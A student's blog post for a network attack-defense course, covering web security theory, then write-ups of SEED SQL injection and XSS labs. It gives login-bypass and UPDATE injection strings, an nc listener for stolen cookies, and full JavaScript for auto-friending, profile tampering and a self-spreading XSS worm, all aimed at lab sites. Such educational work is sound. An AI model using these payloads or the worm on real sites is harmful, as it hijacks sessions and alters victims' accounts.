20199301 2019-2020-2 《网络攻防实践》 第十一周作业

20199301 2019-2020-2 《网络攻防实践》 第十一周作业

第十一章 Web安全攻防技术与实践(Web应用程序安全攻防)

一、实践内容

Web应用程序体系结构及其安全威胁

Web应用体系结构

  • 概念:Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常支持如JavaScript等脚本语言及HTML等渲染编辑语言。浏览器作为“瘦”客户端的便捷性,更新和维护Web应用程序无须向大量客户端分发、安装与更新任何软件,也继承了Web天生的多平台兼容性。

  • 主要结构包括:

    • 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
    • Web服务器:通常被简单的描述为HTTP守护程序,接受Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将他传送给给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示
    • 数据库:Web应用存储数据
    • Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:
    • 表示层:接受Web客户端的输入并显示结果。
    • 业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
    • 数据层:以数据库或本地文件的形式,提供非易失的信息存储。
    • 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。

Web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
  • 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
  • 系统层安全威胁:Web站点的宿主操作系统。
  • Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
  • Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。

Web应用安全攻防技术概述

Web应用的信息收集

  • 概念:主要手机内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
  • 手工审查Web应用程序结构与源代码
    • 查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
    • 查看Web服务器的存储目录结构。
    • 查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
    • 输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
    • 查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
  • 自动下载与镜像Web站点页面:自动化上面的手工审查过程。
  • Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
  • Web应用程序安全评估与漏洞审查
    • 针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
    • 安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

攻击Web服务器软件

  • web服务器平台中的安全漏洞主要分为以下几大类:
    • 数据驱动的远程代码执行安全漏洞:Web服务器软件也面临缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
    • 服务器功能拓展模块漏洞
    • 样本文件安全漏洞
    • 源代码泄露
    • 资源解析攻击

攻击Web应用程序

  • Web应用程序的不安全性
    • Web应用程序编码质量和测试均有限: 安全最薄弱环节。
    • Web应用的复杂性和灵活性进一步恶化了其安全性。
  • Web应用程序安全威胁类型
    • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
    • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
    • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
    • 命令执行攻击:在web站点执行远程命令的攻击手段。
    • 信息暴露:获取web站点具体系统信息的攻击手段。
    • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。

攻击Web数据内容

  • 安全敏感数据泄露
    • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
    • 利用web服务器的上传目录临时中转文件。
    • 在web站点公开的文档资料中包含个人隐私、企业秘密、国家秘密。
  • 网站篡改:网站页面内容进行替换。
  • 不良信息内容上传:能上传不良信息。

Web应用安全防范措施

  • Web站点网络传输安全设防措施:尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护,通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP进行Web后台管理,而使用SSH、SFTP等安全协议,对关键的Web服务器,设置静态绑定MACIP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。

  • Web站点操作系统及服务安全设防措施:对Web站点的操作系统与服务器软件进行及时的补丁更新:对于Windows平台,尽量通过软件正版化采纳自动补丁更新服务,对于大型企业与组织网络,通过部署Windows Server更新服务来快速可靠地更新系统;对于Linux平台,视不同的发行版,采用APT、YUM等软件自动更新工具及crond设置定期更新任务脚本,达到对服务器软件的及时更新,对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞,采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问:配置数据备份服务,必要时设置冗余和双机热备机制。

  • Web应用程序安全设防措施:在设计与开发Web应用时,应谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入,信息发布类网站往往无须引入动态页面和用户交互,而且可以通过后台系统来产生信息发布静态页面的方式(这种Web站点构建方式也被新浪、搜狐等门户网站所采纳)来兼顾安全性、访问性能与便捷性,对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包,定期进行Web应用程序的安全评估与漏洞扫描检测,对Web应用程序应跟进版本更新和安全补J发布情况,进行升级与安全漏洞修补,只在必要时候自主或外包开发Web应用程序,在开发和部署过程中需重视安全编程、持续性的安全测试与维护,安全编程与测试的检查点有:独立、完整且集中的输入校正,校验全部的程序输入、校验输入长度与类型;对HTTP所有内容进行校验,校验向用户输出的数据,使用安全的SQL查询方式,禁止使用JavaScript进行任何校验;使用安全统一的编码或转义方式;设定有安全的权限边界:校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。

  • Web站点数据安全设防措施:提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上,同时也不应在网上公开团队/个人承担涉密项目工作,培养注重个人隐私的良好习惯,在网上公开的数据中尽可能地避免泄露个人隐私:对于允许用户提交数据的网站,需重视用户提交数据的合法性审查,对维护网站的数据安全实施日常监测和防护:提升Web站点的安全性,避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传:掌握并善用Google搜索引擎技巧,定期检查自己维护网站和域名内的敏感数据是否被Google检索;对网站的安全配置进行检查,尽量消除目录遍历、文件枚举以及随意上传等渠道:对接受用户交互的网站列出清单,安排日常数据安全审核与检查机制。

SQL注入

  • 代码注入攻击定义:代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。包括恶意读取、修改与操纵数据库的SQL注入攻击;在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;在Web服务器端恶意执行操作系统命令的shell注入攻击还有其他攻击等。

SQL注入原理

  • SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入攻击步骤和过程

  • 发现SQL注入点:常见注入点存在于http://SITE/xxx.asp?some_rec=yyy的动态网页。当some_rec字段为整形参数时,通常数据库SQL操作语句为SELECT * FROM some_table WHERE some_rec = yyy,可将参数取值yyy设置为如下三种不同的字符串,通过返回页面判断该动态页面是否存在SQL注入点。若都满足,可认定该web应用程序为整数类型输入存在注入点。

    • yyy修改为yyy' 造成SQL出错,动态页面返回错误提示信息。
    • yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
    • yyy修改为yyy and 1=2 查询不到任何信息。
  • 判断后台数据库类型

    • 利用数据库服务器的系统变量。
    • 利用数据库服务器的系统表进行判断。
  • 后台能数据库中管理员用户口令字猜测

    • 用户口令字猜解攻击过程一般包括猜解表名,猜解字段名以及用户与口令猜解。
    • 猜解字段值可用二分法来快速逼近。
  • 上传ASP后门,得到默认账户权限

  • 本地权限提升

  • 利用数据库扩展存储过程执行shell命令

SQL注入攻击工具

  • Wposion:能够在动态Web文档中找出SQL注入漏洞。
  • mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
    -SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
  • SPI Toolkit工具包含的“SQL Injector”的自动化SQL注入测试工具。

SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制。
    -凡是来自外部的用户输入,必须进行完备检查。
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
  • 加强SQL数据库服务器的配置与连接。

XSS跨站脚本攻击

  • XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。

XSS攻击技术原理

  • Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。

XSS攻击类型

  • 持久型XSS攻击(存储型XSS):主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

  • 非持久型XSS攻击(XSS反射型攻击):反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。为什么叫反射型XSS呢?那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的,而为什么又叫非持久性XSS呢?那是因为这种攻击方式只有一次性。比如:攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接的时候,注入脚本被传输到目标服务器上,然后服务器将注入脚本 "反射"到受害者的浏览器上,从而浏览器就执行了该脚本。

XSS攻击防范措施

  • 持久性XSS漏洞:通常出现于一些可以将用户输入持久性保存在Web服务器端,并在一些“正常”页面中持续显示,从而能影响所有访问这些页面的其他用户。

  • 非持久性XSS漏洞:当web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果界面,儿缺乏恰当的请求数据安全验证与过滤,那么就很有可能存在非持久性XSS漏洞。

    • 针对非持久性XSS漏洞的具体攻击包括:
      • 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
      • 用户点击连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
      • 网站将会在反馈的欢迎页面中包含恶意客户端脚本。
      • 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
      • 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。

XSS攻击防范措施

  • 服务器端防范措施:“限制、拒绝、净化”

    • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
    • 输出净化: HTML编码。
    • 消除危险的输入点。
  • 客户端防范措施

    • 提高浏览器访问非受信网站时的安全等级。
    • 关闭Cookie功能,或设置Cookie只读。
    • 采用非主流安全浏览器。

二、实践过程

实践一:SEED SQL注入攻击与防御实验

1、执行指令mysql -u root -p登陆mysql数据库,-u指定用户名,-p指定密码。

2、使用use Users;使用用户数据库show tables;打印所选数据库的所有表。

3、下面我们使用指令select * from credential where ID='1';来打印ID为1的员工的信息,在这里可以看到员工的姓名工资以及hash之后的密码等信息。

SELECT语句的攻击

4、访问虚拟机内的URLwww.SEEDLabSQLInjection.com,在进入SEED Lab之前系统会要求你登陆。这个登陆认证由服务器上的/var/www/SQLInjection/unsafe_home.php实现,需要用户输入用户名和密码来通过认证:

5、执行vim /var/www/SQLInjection/unsafe_home.php查看对应的原代码

6、从where语句中我们可以看到,该程序检查提供的用户名和密码的hash值是否与保存的匹配;如果匹配,则表明用户已成功通过身份验证,并获得了相应的信息。同时我们可以看到管理员的账户名是admin,那么当我们输入的username字段为Admin'#,即可成功攻击。'结束语句,#注释后面的语句,使得后面语句无法执行,只进行了用户名的校验。

7、我们执行curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录系统。通过返回的HTML代码,我们可以看到信息和我们上面看到的信息相同,证明我们的攻击时成功的。

对UPDATE语句的SQL注入攻击

8、首先查看代码vim /var/www/SQLInjection/unsafe_edit_backend.php,核心还是sql语句。可以发现,如果我们输入的nickname为', salary='500000' where EID='10000';#就可以成功改变salary。
然后我们进行试验,在Edit Profile页面的nickname字段填入上一条语句,可以发现,成功改变了salary的值。


9、之后输入在Alice登陆,继续在edit profile那里修改用户名,还是在Nickname输入', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Boby';#,登录Boby,我们可以看到成功登陆~~


实验二:SEED XSS 攻击实验

在接下来的实验中,我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。Alice的账户为alice密码seedalice,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg

1、任务一:发布恶意消息,显示警报窗口
首先用Alice账户密码登陆,打开并编辑个人页面。
于是在Brief description中插入我们的XSS攻击代码<script> alert('xss');</script>

我们可以看到上图的对话框

2、任务二;弹窗显示cookie信息
在Alice的个人页面的Brief description中插入我们的XSS攻击代码<script> alert(document.cookie);</script>

我们可以看到Xss的结果~~~

3、任务三:窃取受害者的cookies
插入恶意的标签,利用浏览器会访问src的url这个特性,我们将cookies发送攻击者的5555端口,利用nc对5555端口进行监听,使用nc -l 5555 -v,-l指定端口,-v显示详细信息。然后,我们使用Boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。

4、任务四:成为受害者的朋友
我们来通过HTTP Header Live,分析信息

写出如下的代码,用于xss攻击自动添加好友。(好多同学都说用孙启龙大佬的代码,我也用了~~~)

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将上述代码复制到Alice的About me中,得到:

然后用boby的账号访问Alice的个人主页,之后返回boby主页,可以看到boby自动加了Alice的好友

5、任务五:修改受害者的信息

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

我们依然将上面的代码放到alice的about me中。登陆boby账号访问Alice的个人主页,返回主页时看到语句 提示:this had been changed by xss attack.

6、任务六:编写XSS蠕虫

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

上述代码为蠕虫攻击代码

我们还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,蠕虫病毒已经侵染了Boby的主页。



我们看到admin就成为了二级感染者

三、学习中遇到的问题及解决

问题一:代码是最大的问题~~~真的看不懂~~~
解决:一句一句的读代码,学习,熟悉代码~~主要是看了大佬们的博客,真是感谢,不然无从下手

四、学习感悟和思考

对于代码方面还是要着重学习!!!
立了一个flag(学语言)

posted on 2020-05-13 18:57  洛桑曲珍20199301  阅读(563)  评论(0编辑  收藏  举报

导航